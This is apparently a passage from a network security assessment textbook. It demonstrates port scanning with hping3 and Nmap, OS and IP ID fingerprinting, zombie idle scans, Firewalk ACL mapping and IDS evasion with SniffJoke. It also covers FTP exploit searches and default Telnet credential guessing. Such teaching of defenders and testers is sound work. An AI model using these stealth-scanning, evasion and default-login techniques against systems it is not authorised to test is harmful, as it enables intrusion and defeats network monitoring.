HPING 10.3.0.1 (eth0 10.3.0.1): S set, 40 headers + 0 data bytes
ip=10.3.0.1 ttl=128 id=18871 sport=80 flags=SA seq=0 win=64240 rtt=3.6 ms
ip=10.3.0.1 ttl=128 id=18872 sport=80 flags=SA seq=1 win=64240 rtt=3.6 ms
ip=10.3.0.1 ttl=128 id=18873 sport=80 flags=SA seq=2 win=64240 rtt=3.6 ms

root@kali:~# hping3 -c 3 -S -p 81 10.3.0.1
HPING 10.3.0.1 (eth0 10.3.0.1): S set, 40 headers + 0 data bytes
ip=10.3.0.1 ttl=128 id=19822 sport=81 flags=RA seq=0 win=64240 rtt=3.9 ms
ip=10.3.0.1 ttl=128 id=19823 sport=81 flags=RA seq=1 win=64240 rtt=1.8 ms
ip=10.3.0.1 ttl=128 id=19824 sport=81 flags=RA seq=2 win=64240 rtt=1.9 ms

root@kali:~# hping3 -c 3 -S -p 23 10.3.0.1
HPING 10.3.0.1 (eth0 10.3.0.1): S set, 40 headers + 0 data bytes
ICMP unreachable type 13 from 192.168.0.254
ICMP unreachable type 13 from 192.168.0.254
ICMP unreachable type 13 from 192.168.0.254

root@kali:~# hping3 -c 3 -S -p 3306 10.3.0.1
HPING 10.3.0.1 (eth0 10.3.0.1): S set, 40 headers + 0 data bytes

TCP/IP Stack Fingerprinting

Operating systems prepare packets using different IP TTL and WINDOW values, as summarized by Table 6-5. The TTL of a packet decreases with each hop, and so this value will decrease during testing, based on your distance from the target host.

IP ID Analysis

Many TCP/IP implementations set incremental IP ID values in outbound packets. You can take advantage of this behavior to identify individual hosts behind firewalls and measure network activity. If the IP ID value of each packet received from a host is incremental, it can also be used as an unwitting third party (known as a zombie) to facilitate stealth port scanning using Nmap.

IP ID sampling with Scapy

Scapy can sample and plot IP ID values. Example 6-9 demonstrates setup (involving installation of python-gnuplot and gnuplot-x11 packages) and use of the utility to sample values from www.yahoo.fr. Figure 6-9 shows the resulting graph, by which we identify individual hosts behind a load balancer. Philippe Biondi and Arnaud Ebalard’s presentation “Scapy and IPv6 networking”¹⁴ describes other useful sampling strategies (see slide 45 onward).

Example 6-9. Configuring gnuplot and running Scapy

root@kali:~# apt-get install python-gnuplot gnuplot-x11
root@kali:~# scapy
Welcome to Scapy (2.2.0)
>>> a,b=sr(IP(dst="www.yahoo.fr")/TCP(sport=[RandShort()]*1000))
Begin emission:
Finished to send 100 packets.
Received 100 packets, got 100 answers, remaining 0 packets
>>> a.plot(lambda(s,r):r.id)

Figure 6-9. IP ID value plot for www.yahoo.fr

root@kali:~# nmap -F -sS -O -open -v -n 10.3.0.1

Starting Nmap 6.46 (http://nmap.org) at 2014-10-27 04:36 UTC
Initiating Ping Scan at 04:36
Scanning 10.3.0.1 [4 ports]
Completed Ping Scan at 04:36, 0.00s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 04:36
Scanning 10.3.0.1 [100 ports]
Discovered open port 80/tcp on 10.3.0.1
Discovered open port 443/tcp on 10.3.0.1
Discovered open port 8081/tcp on 10.3.0.1
Completed SYN Stealth Scan at 04:36, 1.83s elapsed (100 total ports)
Initiating OS detection (try #1) against 10.3.0.1
Nmap scan report for 10.3.0.1
Not shown: 96 filtered ports, 1 closed port
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8081/tcp open  blackice-icecap
Device type: general purpose
Running: Linux 2.4.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:linux:linux_kernel:3
OS details: DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2
Uptime guess: 3.014 days (since Fri Oct 24 04:01:34 2014)
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental

Stealth IP ID scanning with Nmap

Upon identifying suitable zombie candidates returning incremental IP ID values, you can undertake IP ID header scanning via Nmap. The process uses the zombie host as an indicator, as shown in Figure 6-10. One benefit of this scanning mode is that you can map ACLs from a certain perspective (e.g., identifying routers at branch offices that produce sequential IP ID values, and using them as zombies).

Figure 6-10. IP ID header scanning parties

Nmap supports IP ID header scanning via the following option:

-sI <zombie host[:probe port]>

By default, Nmap will send heartbeat packets to TCP port 80 of the zombie host. It is particularly important to use the -Pn flag to suppress probing, so that all packets are sent from the address of the zombie to the target. 

Manipulating TTL to Reverse Engineer ACLs

Nmap identifies filters based on network responses or lack thereof. Deeper assessment is undertaken with Firewalk, which manipulates the TTL field of packets to scan a target from a certain distance (i.e., one hop beyond a given gateway).

Example 6-11 demonstrates Firewalk testing six TCP ports through a specific gateway (gw.test.org) to a destination of www.test.org. The functionality has also been ported to Nmap, via the firewalk NSE script.

$ firewalk -n -S21,22,23,25,53,80 -pTCP gw.test.org www.test.org
Firewalk 5.0 [gateway ACL scanner]
Firewalk state initialization completed successfully.
TCP-based scan.
Ramping phase source port: 53, destination port: 33434
Hotfoot through 217.41.132.201 using 217.41.132.161 as a metric.
Ramping Phase:
 1 (TTL  1): expired [192.168.102.254]
 2 (TTL  2): expired [212.38.177.41]
 3 (TTL  3): expired [217.41.132.201]
Binding host reached.
Scan bound at 4 hops.
Scanning Phase:
port  21: A! open (port listen) [217.41.132.161]
port  22: A! open (port not listen) [217.41.132.161]
port  23: A! open (port listen) [217.41.132.161]
port  25: A! open (port not listen) [217.41.132.161]
port  53: A! open (port not listen) [217.41.132.161]
port  80: A! open (port not listen) [217.41.132.161]

Firewalk calculates the distance to the gateway and sends packets destined for the target with a TTL that is one hop beyond. Based on the responses, the tool is able to map the filtering policy of the gateway. For example:

• If an ICMP type 11, code 0 (TTL exceeded in transit) message is received, the packet passed through and a response was later generated.

• If the packet is dropped without comment, it was probably done at the gateway.

• If an ICMP type 3, code 13 (communication administratively prohibited) message is received, a filter such as a router ACL is being used.

If the packet is dropped without comment, this doesn’t necessarily mean that traffic to the target host and port is filtered. Some firewalls know that the packet is due to expire and will send an expired message whether the policy allows the packet or not.

Firewalk works in true IP-routed environments, as opposed to those using network address translation (NAT). Dave Goldsmith and Mike Schiffman’s paper describes the testing approach in detail.¹⁷

Revealing Internal IP Addresses

Misconfigured routers, firewalls, and network devices sometimes respond to network probes using nonpublic source addresses. Example 6-12 demonstrates tcpdump used to identify packets received from private addresses during testing. In this case, the eth2 interface in Kali Linux is addressable from the public Internet.

root@kali:~# tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

TTL Manipulation

Consider Figure 6-11. The target host is six hops away from the source, and an IDS sensor is deployed between hops three and four. By sending packets with a TTL that expires before the destination, an adversary can insert data into the network flow (from the perspective of the sensor). A second technique is to send material to the destination that is disregarded, but parsed by the sensor (or vice versa)—achieved through fragmentation and segment overlapping. The underlying problem is that the sensor does not have enough context to correctly perform network flow reassembly.

Figure 6-11. An attacker, IDS sensor, and target host

Data Insertion and Scrambling with SniffJoke

Within SniffJoke, data manipulation and insertion attacks are known as hacks and scrambles, which are implemented as plug-ins, as described by the project documentation.²³

Examples of hacks include inserting a fake payload (causing the sensor to parse session data that is not processed by the destination), providing false sequencing information (causing the sensor to lose state and parse erroneous data), and injection of fake signaling information (via insertion of FIN, RST, or SYN packets that are disregarded by the destination, but cause the sensor to believe the session has ended or a new one established).

Packets can be malformed and fragmented in a number of ways—the trick is to adopt an approach where packets are processed by the sensor and disregarded by the destination host, or vice versa. Many of these approaches depend on the IP stack implementation of the sensor and destination host (through identifying a mismatch and abusing it for gain). Scrambling tactics adopted by SniffJoke focus on generating packets that are disregarded by the destination host, as follows:

Setting bad checksums of packets

Sensors in high-throughput environments often do not calculate packet checksums for performance reasons. If this is the case, malicious content is parsed by the sensor but disregarded upon receipt by the destination host.

Use of uncommon IP and TCP options

A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt.

One important topic that is not highlighted within the SniffJoke documentation is that of packet fragmentation and segment overlapping. Attackers can use these tactics to evade and bypass IDS and IPS mechanisms because fragmented packets might be reassembled differently by the sensor than by the destination host.²⁴

Configuring and Running SniffJoke

If you are able to place a crafted PHP script onto a web server protected by a given IDS or IDP mechanism, you can use sniffjoke-autotest to identify effective evasion techniques and create a series of local configuration files.

The PHP script is as follows, as found on the sniffjoke-autotest GitHub page:²⁵

<?php
  if(isset($_POST['sparedata'])) {
    for($x = 0; $x < strlen($_POST['sparedata']); $x++)
    {
      if( is_numeric($_POST['sparedata'][$x]) )
        continue;
      echo "bad value in $x offset";
      exit;
    }
    echo $_POST['sparedata'];
  }
?>

Upon placing the script on a web server, run sniffjoke-autotest:

root@kali:~# sniffjoke-autotest -l home -d /usr/var/sniffjoke/ -s \
http://www.example.org/test.php -a 192.168.0.10

The utility will create a configuration (known as a location, using the label home in this case) upon sending requests to http://www.example.org/test.php (with an IP of 192.168.0.10). After it is executed, the SniffJoke home directory (/usr/var/sniffjoke/home/ in Kali Linux) will contain a number of configuration files, as listed in Table 6-7.

Edit the configuration files to define the IP addresses and network services within scope for evasion. When you are satisfied with the configuration, run SniffJoke using the particular location label (home in this case):

root@kali:~# sniffjoke --location home

The program runs in the background and updates the default gateway so that all packets are routed through it for manipulation. Once executed, the sniffjokectl utility is used to interact with the service interface, as follows:

Usage: sniffjokectl [OPTIONS] [COMMANDS]
 --address <ip>[:port]  specify administration IP address 
 [default: 127.0.0.1:8844]
 --version        show sniffjoke version
 --timeout        set milliseconds timeout when contacting SniffJoke service [default: 500]
 --help            show this help

when sniffjoke is running, you should send commands with a command line argument:
 start      start sniffjoke hijacking/injection
 stop       pause sniffjoke
 quit       quit sniffjoke
 saveconf   dump configuration file
 stat       get statistics about sniffjoke configuration and network
 info       get statistics about sniffjoke active sessions
 ttlmap     show the mapped hop count for destination
 showport   show the running port-aggressivity configuration
 debug      [0-5] change the log debug level

Fingerprinting FTP Services

Nmap performs network service and OS fingerprinting via the -A flag, as demonstrated by Example 7-1. This flag invokes the ftp-anon script (among others), which tests for anonymous access and returns the server directory structure upon authenticating. In this case, Nmap reports that the server is running vsftpd 2.0.8 or later.

root@kali:~# nmap -Pn -sS -A -p21 130.59.10.36

Starting Nmap 6.46 (http://nmap.org) at 2014-11-02 08:13 UTC
Nmap scan report for 130.59.10.36
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| lrwxrwxrwx    1 ftp      ftp             8 Jun 26  2013 README -> .message
| drwxr-xr-x    3 ftp      ftp             4 May 24  2013 doc
| -rw-rw-r--    1 ftp      ftp      80531673 Nov 02 05:59 ls-lR.gz
| drwxr-xr-x    2 ftp      ftp            75 May 16 13:30 mirror
| drwxr-xr-x    4 ftp      ftp             4 Jul 24 07:18 pool
| drwxrwxr-x    3 ftp      ftp             7 Jan 31  2013 pub
| drwxrwxr-x   10 ftp      ftp            11 Mar 21  2004 software
| lrwxrwxrwx    1 ftp      ftp            13 Jun 26  2013 ubuntu 
|_lrwxrwxrwx    1 ftp      ftp            21 Jun 26  2013 ubuntu-cdimage
Device type: general purpose
Running: Linux 2.4.X

Upon obtaining valid credentials, you are encouraged to manually evaluate privileges. Many FTP server flaws are exploited through crafting malicious file structures server-side, and so the ability to create content is key.

Known FTP Vulnerabilities

Popular FTP servers include the Microsoft IIS FTP Server, ProFTPD, and Pure-FTPd. Tables 7-2 through 7-4 list known vulnerabilities within these. Other implementations are commonly exploitable and you should query NVD upon fingerprinting to understand known risks.

To evaluate publicly available exploit scripts, use the searchsploit utility within Kali Linux, as demonstrated by Example 7-2 (searching for Microsoft IIS FTP exploits). The search directive within Metasploit also lists respective modules.

root@kali:~# searchsploit iis ftp
---------------------------------------------------- ---------------------------
Description                                         |  Path
---------------------------------------------------- ---------------------------
Microsoft IIS 5.0/6.0 FTP Server Remote Stack Overf | /windows/remote/9541.pl
Microsoft IIS 5.0 FTP Server Remote Stack Overflow  | /windows/remote/9559.pl
Microsoft IIS 5.0/6.0 FTP Server (Stack Exhaustion) | /windows/dos/9587.txt
Windows 7 IIS7.5 FTPSVC UNAUTH'D Remote DoS PoC     | /windows/dos/15803.py
Microsoft IIS FTP Server NLST Response Overflow     | /windows/remote/16740.rb
Microsoft IIS FTP Server <= 7.0 - Stack Exhaustion  | /windows/dos/17476.rb
Microsoft IIS 4.0/5.0 FTP Denial of Service Vulnera | /windows/dos/20846.pl
---------------------------------------------------- ---------------------------

Known TFTP Vulnerabilities

Table 7-5 lists known defects within TFTP server software. For the sake of brevity, I list remotely exploitable issues dating back to 2009. Some of these flaws have associated Metasploit modules. A TFTP scanner capable of crafting and sending the various UDP datagrams would prove useful when testing large internal networks.

Default Telnet Credentials

Network printers, broadband routers, and managed switches are often accessible with default administrative credentials. You can use the default password list in Table 7-9 to test exposed Telnet servers. I have also found that smaller manufacturers of routers (e.g., ADSL routers for small offices and home users) often use passwords of 1234 and 12345 for admin and root user accounts.

Telnet Server Software Flaws

Table 7-11 lists Telnet server vulnerabilities within devices manufactured by Siemens and Cisco, along with operating systems including FreeBSD, Oracle Solaris, and Microsoft Windows.